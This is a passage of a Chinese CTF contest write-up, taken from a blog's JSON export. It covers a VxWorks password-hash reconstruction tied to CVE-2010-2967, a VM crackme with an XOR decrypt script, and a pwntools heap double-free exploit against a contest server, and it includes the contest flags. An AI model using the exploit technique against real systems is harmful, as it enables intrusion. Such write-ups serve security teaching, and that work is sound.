href=\"https:\/\/www.ctfiot.com\/283309.html#:~:text=%2F,\u5b9e\u9645\u662f&#039;A\" target=\"_blank\"  rel=\"nofollow\" >ctfiot.com<\/a>\u3002\u5177\u4f53\u800c\u8a00\uff1a<\/p>\n<ul>\n<li><strong>\u9b54\u6570\u5e38\u91cf<\/strong>\u4ecd\u4e3a 31695317\uff080x1E3A1D5\uff09<a href=\"https:\/\/www.ctfiot.com\/283309.html#:~:text=%2F,\u5b9e\u9645\u662f&#039;A\" target=\"_blank\"  rel=\"nofollow\" >ctfiot.com<\/a>\u3002<\/li>\n<li><strong>\u52a0\u6743\u7d2f\u52a0\u903b\u8f91<\/strong>\u540c\u539f\u7b97\u6cd5\uff0c\u5373\u5bf9\u6bcf\u4e2a\u5b57\u7b26 <code>in[i]<\/code> \u8ba1\u7b97 <code>(ASCII(in[i]) * (i+2)) XOR (i+1)<\/code> \u7684\u7d2f\u52a0\u548c<a href=\"https:\/\/www.ctfiot.com\/283309.html#:~:text=%2F,\u5b9e\u9645\u662f&#039;A\" target=\"_blank\"  rel=\"nofollow\" >ctfiot.com<\/a>\u3002<\/li>\n<li><strong>\u6620\u5c04\u89c4\u5219<\/strong>\u672a\u89c1\u53d8\u52a8\uff1a\u5148\u5c06\u7d2f\u52a0\u548c\u4e58\u4ee5\u9b54\u6570\u5e76\u622a\u53d6\u4f4e32\u4f4d\uff0c\u7136\u540e\u5bf9\u7ed3\u679c\u5b57\u7b26\u4e32\u4e2d\u6bcf\u4e2a\u5b57\u7b26\u4f9d\u6b21\u6267\u884c <code>if &lt;&#039;3&#039;<\/code> \u52a033\u3001<code>if &lt;&#039;7&#039;<\/code> \u52a047\u3001<code>if &lt;&#039;9&#039;<\/code> \u52a066 \u7684\u64cd\u4f5c<a href=\"https:\/\/www.ctfiot.com\/283309.html#:~:text=%2F,\u5b9e\u9645\u662f&#039;A\" target=\"_blank\"  rel=\"nofollow\" >ctfiot.com<\/a>\u3002<\/li>\n<li><strong>\u5176\u5b83\u9650\u5236<\/strong>\uff08\u5982\u5bc6\u7801\u957f\u5ea6\u8981\u6c42 8\u201340 \u5b57\u7b26\uff09\u4e5f\u4e0e\u539f\u7248\u4e00\u81f4<a href=\"https:\/\/www.ctfiot.com\/283309.html#:~:text=%2F,\u5b9e\u9645\u662f&#039;A\" target=\"_blank\"  rel=\"nofollow\" >ctfiot.com<\/a>\u3002<\/li>\n<\/ul>\n<p>\u7efc\u4e0a\uff0c\u56fa\u4ef6\u4e2d\u7684\u54c8\u5e0c\u51fd\u6570 <strong>\u6ca1\u6709\u9488\u5bf9 CVE-2010-2967 \u6f0f\u6d1e\u8fdb\u884c\u989d\u5916\u4fee\u8865\u6216\u6539\u52a8<\/strong>\uff1b\u5b83\u5b8c\u5168\u590d\u73b0\u4e86 VxWorks 6.9 \u5b98\u65b9\u7684\u9ed8\u8ba4\u52a0\u5bc6\u7b97\u6cd5<a href=\"https:\/\/www.ctfiot.com\/283309.html#:~:text=%2F,\u5b9e\u9645\u662f&#039;A\" target=\"_blank\"  rel=\"nofollow\" >ctfiot.com<\/a>\u3002<\/p>\n<h4>\u4f2a\u4ee3\u7801\u4e0e\u52a0\u5bc6\u6d41\u7a0b<\/h4>\n<p>\u6309\u4ee5\u4e0a\u5206\u6790\uff0c\u53ef\u5c06 <code>loginDefaultEncrypt<\/code> \u7684\u7b97\u6cd5\u8868\u793a\u4e3a\uff1a<\/p>\n<pre><code>function loginDefaultEncrypt(password):\n    if len(password) &lt; 8 or len(password) &gt; 40:\n        return ERROR\n    magic = 31695317\n    passwd_int = 0\n    \/\/ \u6b65\u9aa41\uff1a\u8ba1\u7b97\u52a0\u6743\u548c\n    for i from 0 to len(password)-1:\n        passwd_int += (ord(password[i]) * (i+2)) XOR (i+1)\n    \/\/ \u6b65\u9aa42\uff1a\u4e58\u4ee5\u9b54\u6570\u5e76\u622a\u53d6\u4f4e32\u4f4d\n    product = (passwd_int * magic) &amp; 0xFFFFFFFF\n    out_str = decimal_string(product)\n    \/\/ \u6b65\u9aa43\uff1a\u5b57\u7b26\u6620\u5c04\uff08\u4f9d\u6b21\u6267\u884c\uff09\n    for j from 0 to len(out_str)-1:\n        c = out_str[j]\n        if c &lt; &#039;3&#039;: out_str[j] = chr(ord(c) + 33)    \/\/ + &#039;!&#039;\n        if c &lt; &#039;7&#039;: out_str[j] = chr(ord(c) + 47)    \/\/ + &#039;\/&#039;\n        if c &lt; &#039;9&#039;: out_str[j] = chr(ord(c) + 66)    \/\/ + &#039;B&#039;\n    return out_str<\/code><\/pre>\n<h4>\u201cSimpleXue\u201d \u7684\u52a0\u5bc6\u8ba1\u7b97<\/h4>\n<p>\u6309\u7167\u91cd\u6784\u7684\u7b97\u6cd5\uff0c\u5bf9\u5b57\u7b26\u4e32 <code>&quot;SimpleXue&quot;<\/code> \u9010\u6b65\u8ba1\u7b97\uff1a<\/p>\n<ul>\n<li><strong>\u52a0\u6743\u548c<\/strong>\uff1a<code>passwd_int = \u03a3[(ASCII(\u5b57\u7b26) * (i+2)) XOR (i+1)]<\/code>\uff0c\u8ba1\u7b97\u7ed3\u679c\u4e3a <code>5620<\/code>\u3002<\/li>\n<li><strong>\u4e58\u9b54\u6570\u4e0e\u622a\u65ad<\/strong>\uff1a<code>5620 * 31695317 = 178127681540<\/code>\uff0c\u53d6\u4f4e32\u4f4d\u5f97\u5230\u5341\u8fdb\u5236 <code>2034022404<\/code>\u3002<\/li>\n<li><strong>\u5b57\u7b26\u6620\u5c04<\/strong>\uff1a\u5c06 <code>&quot;2034022404&quot;<\/code> \u4e2d\u5404\u5b57\u7b26\u4f9d\u6b21\u6620\u5c04\uff1a\n<ul>\n<li>\u20182\u2019\u2192\u2018S\u2019 (\u20182\u2019+33)<\/li>\n<li>\u20180\u2019\u2192\u2018Q\u2019 (\u20180\u2019+33)<\/li>\n<li>\u20183\u2019\u2192\u2018b\u2019 (\u20183\u2019+47)<\/li>\n<li>\u20184\u2019\u2192\u2018c\u2019 (\u20184\u2019+47)<\/li>\n<li>\u20180\u2019\u2192\u2018Q\u2019<\/li>\n<li>\u20182\u2019\u2192\u2018S\u2019<\/li>\n<li>\u20182\u2019\u2192\u2018S\u2019<\/li>\n<li>\u20184\u2019\u2192\u2018c\u2019<\/li>\n<li>\u20180\u2019\u2192\u2018Q\u2019<\/li>\n<li>\u20184\u2019\u2192\u2018c\u2019<br \/>\n\u6620\u5c04\u7ed3\u679c\u4e3a <code>&quot;SQbcQSScQc&quot;<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u56e0\u6b64\uff0c\u52a0\u5bc6\u7ed3\u679c\u4e3a <code>SQbcQSScQc<\/code>\uff0c\u6700\u7ec8\u4ee5 <code>flag{\u54c8\u5e0c\u503c}<\/code> \u683c\u5f0f\u8f93\u51fa\uff1a<\/p>\n<pre><code>flag{SQbcQSScQc}<\/code><\/pre>\n<h3>veryez<\/h3>\n<h4>\u521d\u6b65\u5206\u6790<\/h4>\n<p>\u7a0b\u5e8f\u91c7\u7528\u4e86\u81ea\u5b9a\u4e49\u865a\u62df\u673a\uff08VM\uff09\u67b6\u6784\u6765\u6df7\u6dc6\u6838\u5fc3\u903b\u8f91\u3002\u901a\u8fc7\u9759\u6001\u5206\u6790\u53ef\u4ee5\u53d1\u73b0\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b\u88ab\u5c01\u88c5\u5728\u4e00\u4e2a\u5b57\u8282\u7801\u89e3\u91ca\u5668\u4e2d\uff0c\u800c\u975e\u76f4\u63a5\u7684\u6c47\u7f16\u6307\u4ee4\u3002<\/p>\n<h4>\u865a\u62df\u673a\u67b6\u6784\u5256\u6790<\/h4>\n<p><strong>\u6838\u5fc3\u8c03\u5ea6\u5668\u4f4d\u4e8e <code>sub_401030<\/code><\/strong><\/p>\n<p>\u8be5\u51fd\u6570\u5b9e\u73b0\u4e86\u4e00\u4e2a\u5b8c\u6574\u7684\u5b57\u8282\u7801\u89e3\u91ca\u5668\uff0c\u5176\u5de5\u4f5c\u539f\u7406\u5982\u4e0b\uff1a<\/p>\n<ol>\n<li>\n<p><strong>\u6307\u4ee4\u683c\u5f0f<\/strong>\uff1a\u6bcf\u6761\u6307\u4ee4\u5360\u7528 4 \u5b57\u8282\uff08DWORD\uff09\uff0c\u9ad8\u4f4d\u5b57\u8282\u4f5c\u4e3a\u64cd\u4f5c\u7801\u6807\u8bc6<\/p>\n<ul>\n<li>\u6307\u4ee4\u4ee5 <code>0x100<\/code> \u4e3a\u57fa\u6570\u8fdb\u884c\u5206\u7c7b<\/li>\n<li>\u4f8b\u5982\uff1a<code>0x104<\/code> = PUSH\u7acb\u5373\u6570\uff0c<code>0x773<\/code> = \u8f93\u5165\u64cd\u4f5c\uff0c<code>0x102<\/code> = \u6309\u4f4d\u4e0e<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>\u6267\u884c\u73af\u5883<\/strong>\uff1a<\/p>\n<ul>\n<li>\u7ef4\u62a4\u4e00\u4e2a\u64cd\u4f5c\u6570\u6808\u7528\u4e8e\u4e34\u65f6\u6570\u636e\u5b58\u50a8<\/li>\n<li>\u4f7f\u7528 <code>a2<\/code> \u6307\u5411\u7684\u5185\u5b58\u533a\u57df\u4f5c\u4e3a\u6570\u636e\u6bb5<\/li>\n<li>\u901a\u8fc7 <code>sub_4013A0<\/code>\uff08push\uff09\u548c <code>sub_4013E0<\/code>\uff08pop\uff09\u64cd\u4f5c\u6808<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>\u5b57\u8282\u7801\u5b58\u50a8<\/strong>\uff1a\u7a0b\u5e8f\u7684\u5b9e\u9645\u903b\u8f91\u4ee5\u5b57\u8282\u7801\u5f62\u5f0f\u5b58\u50a8\u5728 <code>unk_408254<\/code> \u6570\u7ec4\u4e2d<\/p>\n<\/li>\n<\/ol>\n<h4>\u5173\u952e\u6307\u4ee4\u96c6<\/h4>\n<p>\u901a\u8fc7\u9006\u5411\u5206\u6790\uff0c\u8bc6\u522b\u51fa\u4ee5\u4e0b\u6838\u5fc3\u6307\u4ee4\uff1a<\/p>\n<table>\n<thead>\n<tr>\n<th>\u64cd\u4f5c\u7801<\/th>\n<th>\u529f\u80fd<\/th>\n<th>\u8bf4\u660e<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>0x104<\/td>\n<td>PUSH imm<\/td>\n<td>\u5c06\u7acb\u5373\u6570\u538b\u5165\u6808<\/td>\n<\/tr>\n<tr>\n<td>0x773<\/td>\n<td>INPUT<\/td>\n<td>\u8c03\u7528 <code>gets()<\/code> \u8bfb\u53d6\u7528\u6237\u8f93\u5165\u5230\u6307\u5b9a\u504f\u79fb<\/td>\n<\/tr>\n<tr>\n<td>0x772<\/td>\n<td>LOAD32<\/td>\n<td>\u4ece\u5185\u5b58\u52a0\u8f7d DWORD \u5e76\u538b\u6808<\/td>\n<\/tr>\n<tr>\n<td>0x1284<\/td>\n<td>LOAD8<\/td>\n<td>\u4ece\u5185\u5b58\u52a0\u8f7d\u5355\u5b57\u8282\u5e76\u538b\u6808<\/td>\n<\/tr>\n<tr>\n<td>0x102<\/td>\n<td>AND<\/td>\n<td>\u6808\u9876\u4e24\u5143\u7d20\u6309\u4f4d\u4e0e<\/td>\n<\/tr>\n<tr>\n<td>0x202<\/td>\n<td>OR<\/td>\n<td>\u6808\u9876\u4e24\u5143\u7d20\u6309\u4f4d\u6216<\/td>\n<\/tr>\n<tr>\n<td>0x402<\/td>\n<td>XOR<\/td>\n<td>\u6808\u9876\u4e24\u5143\u7d20\u5f02\u6216<\/td>\n<\/tr>\n<tr>\n<td>0x303\/0x403<\/td>\n<td>JMP_IF<\/td>\n<td>\u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4<\/td>\n<\/tr>\n<tr>\n<td>0x405<\/td>\n<td>PUTS<\/td>\n<td>\u8f93\u51fa\u5b57\u7b26\u4e32<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u5b57\u8282\u7801\u903b\u8f91\u8fd8\u539f<\/h4>\n<p>\u901a\u8fc7\u52a8\u6001\u8c03\u8bd5\u548c\u9759\u6001\u5206\u6790\u76f8\u7ed3\u5408\uff0c\u8fd8\u539f\u51fa\u5b57\u8282\u7801\u7684\u5b9e\u9645\u6267\u884c\u903b\u8f91\uff1a<\/p>\n<p><strong>\u9636\u6bb5\u4e00\uff1a\u8f93\u5165\u83b7\u53d6<\/strong><\/p>\n<pre><code>INPUT \u2192 \u5c06\u7528\u6237\u8f93\u5165\u5b58\u50a8\u81f3 (a2 + 0x118) \u4f4d\u7f6e<\/code><\/pre>\n<p><strong>\u9636\u6bb5\u4e8c\uff1a\u9a8c\u8bc1\u5faa\u73af<\/strong><\/p>\n<p>\u7a0b\u5e8f\u5b9e\u73b0\u4e86\u4e00\u4e2a 47 \u8f6e\u7684\u5b57\u7b26\u9a8c\u8bc1\u5faa\u73af\uff1a<\/p>\n<pre><code class=\"language-python\">for i in range(47):\n    key_byte = &quot;virtualM&quot;[i % 8]  # \u5faa\u73af\u5bc6\u94a5\n    cipher_byte = encrypted_data[i]  # \u5bc6\u6587\u6570\u7ec4\n    expected = cipher_byte ^ key_byte\n\n    if user_input[i] != expected:\n        print(&quot;Failed!&quot;)\n        exit()<\/code><\/pre>\n<p><strong>\u5173\u952e\u53d1\u73b0<\/strong>\uff1a<\/p>\n<ul>\n<li>\u5bc6\u94a5\u4e3a\u56fa\u5b9a\u5b57\u7b26\u4e32 <code>&quot;virtualM&quot;<\/code> \u7684\u5faa\u73af\u4f7f\u7528<\/li>\n<li>\u5bc6\u6587\u6570\u636e\u786c\u7f16\u7801\u5728 <code>a2 + 0x18<\/code> \u504f\u79fb\u5904\uff0c\u5171 47 \u5b57\u8282<\/li>\n<li>\u9a8c\u8bc1\u7b97\u6cd5\u672c\u8d28\u662f\u7b80\u5355\u7684 XOR \u52a0\u5bc6<\/li>\n<\/ul>\n<h4>\u5bc6\u6587\u63d0\u53d6<\/h4>\n<p>\u901a\u8fc7\u5185\u5b58 dump \u6216\u9759\u6001\u5206\u6790\u63d0\u53d6\u51fa\u5b8c\u6574\u5bc6\u6587\u6570\u7ec4\uff1a<\/p>\n<pre><code class=\"language-python\">encrypted = [\n    0x10, 0x05, 0x13, 0x13, 0x0E, 0x51, 0x5B, 0x29,\n    0x45, 0x5E, 0x44, 0x42, 0x47, 0x53, 0x5B, 0x7A,\n    0x47, 0x51, 0x16, 0x4C, 0x45, 0x58, 0x58, 0x2F,\n    0x12, 0x29, 0x43, 0x12, 0x47, 0x03, 0x0F, 0x29,\n    0x46, 0x51, 0x11, 0x15, 0x45, 0x00, 0x0F, 0x2E,\n    0x15, 0x0B, 0x47, 0x15, 0x44, 0x02, 0x11\n]<\/code><\/pre>\n<h4>\u89e3\u5bc6\u811a\u672c<\/h4>\n<pre><code class=\"language-python\">key = b&quot;virtualM&quot;\nencrypted = [\n    0x10, 0x05, 0x13, 0x13, 0x0E, 0x51, 0x5B, 0x29,\n    0x45, 0x5E, 0x44, 0x42, 0x47, 0x53, 0x5B, 0x7A,\n    0x47, 0x51, 0x16, 0x4C, 0x45, 0x58, 0x58, 0x2F,\n    0x12, 0x29, 0x43, 0x12, 0x47, 0x03, 0x0F, 0x29,\n    0x46, 0x51, 0x11, 0x15, 0x45, 0x00, 0x0F, 0x2E,\n    0x15, 0x0B, 0x47, 0x15, 0x44, 0x02, 0x11\n]\n\nflag = bytes(encrypted[i] ^ key[i % len(key)] for i in range(len(encrypted)))\nprint(flag.decode())<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20251129122344674.png\" alt=\"\" \/><\/p>\n<pre><code>flag{07d3766227718d8094bd@1f2bcd08ca0acccb5a1c}<\/code><\/pre>\n<h2>PWN<\/h2>\n<h3>ezuaf<\/h3>\n<pre><code>from pwn import*  \nelf=ELF(&#039;.\/ezuaf&#039;)\np=process(&#039;.\/ezuaf&#039;) \np=remote(&#039;47.107.139.41&#039;, 45956)\ncontext(os=&#039;linux&#039;,arch=&#039;amd64&#039;,log_level=&#039;debug&#039;)\nlibc=ELF(&#039;\/glibc-all-in-one\/libs\/2.23-0ubuntu11.3_amd64\/libc.so.6&#039;)\ndef s(a):\n    p.send(a)\ndef sa(a, b):\n    p.sendafter(a, b)\ndef sl(a):\n    p.sendline(a)\ndef sla(a, b):\n    p.sendlineafter(a, b)   \ndef li(a):\n    print(hex(a))     \ndef r():\n    p.recv()\ndef pr():\n    print(p.recv())\ndef rl(a):\n    return p.recvuntil(a)\ndef inter():\n    p.interactive()\ndef get_32():\n    return u32(p.recvuntil(b&#039;\\xf7&#039;)[-4:])    \ndef get_addr():\n    return u64(p.recvuntil(b&#039;\\x7f&#039;)[-6:].ljust(8, b&#039;\\x00&#039;))\ndef get_sb():\n    return libc_base + libc.sym[&#039;system&#039;], libc_base + next(libc.search(b&#039;\/bin\/sh\\x00&#039;))    \ndef bug():\n    gdb.attach(p)\n\ndef cmd(i):\n    sla(b&#039;your choice:&#039;,str(i))\n\ndef add(idx,size,content):\n    cmd(1)\n    sla(b&#039;note:&#039;,str(idx))\n    sla(b&#039;note:&#039;,str(size))\n    sa(b&#039;note:&#039;,content)\n\ndef free(idx):\n    cmd(2)\n    sla(b&#039;index:&#039;,str(idx))    \n\ndef show(idx):\n    cmd(3)\n    sla(b&#039;index:&#039;,str(idx))    \n\ndef edit(idx,content):\n    cmd(4)\n    sla(b&#039;note:&#039;,str(idx))\n    sa(b&#039;note:&#039;,content)\n\nadd(0,0x68,b&#039;a&#039;)\nadd(1,0x68,b&#039;a&#039;)\nadd(2,0x68,b&#039;a&#039;)\nadd(3,0x68,b&#039;a&#039;)\nfree(1)\nfree(0)\nfree(1)\n\nadd(4,0x68,p64(0x6020cd-0x10))\nadd(5,0x68,b&#039;a&#039;)\nadd(6,0x68,b&#039;a&#039;)\nadd(7,0x68,b&#039;a&#039;*0x23+p64(0x602068)*8)\nedit(4,p64(0x40088A))\n\ncmd(5)\ninter()<\/code><\/pre>\n<pre><code>flag{eb3564f89sf45b24oac12db8ec}<\/code><\/pre>\n<button class=\"simplefavorite-button\" data-postid=\"187\" data-siteid=\"1\" data-groupid=\"1\" data-favoritecount=\"0\" style=\"\">\u6536\u85cf <i class=\"sf-icon-star-empty\"><\/i><\/button>","protected":false},"excerpt":{"rendered":"<p>\u7b2c\u4e09\u5c4a\u201c\u53e4\u5251\u5c71\u201d\u5168\u56fd\u5927\u5b66\u751f\u7f51\u7edc\u653b\u9632\u5927\u8d5b\u521d\u8d5bWP web baby_ssti SSTI\u6f0f\u6d1e name={{lipsum.__glob &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[10],"tags":[12,37],"class_list":["post-187","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-ctf"],"_links":{"self":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/187","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=187"}],"version-history":[{"count":2,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/187\/revisions"}],"predecessor-version":[{"id":190,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/187\/revisions\/190"}],"wp:attachment":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=187"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}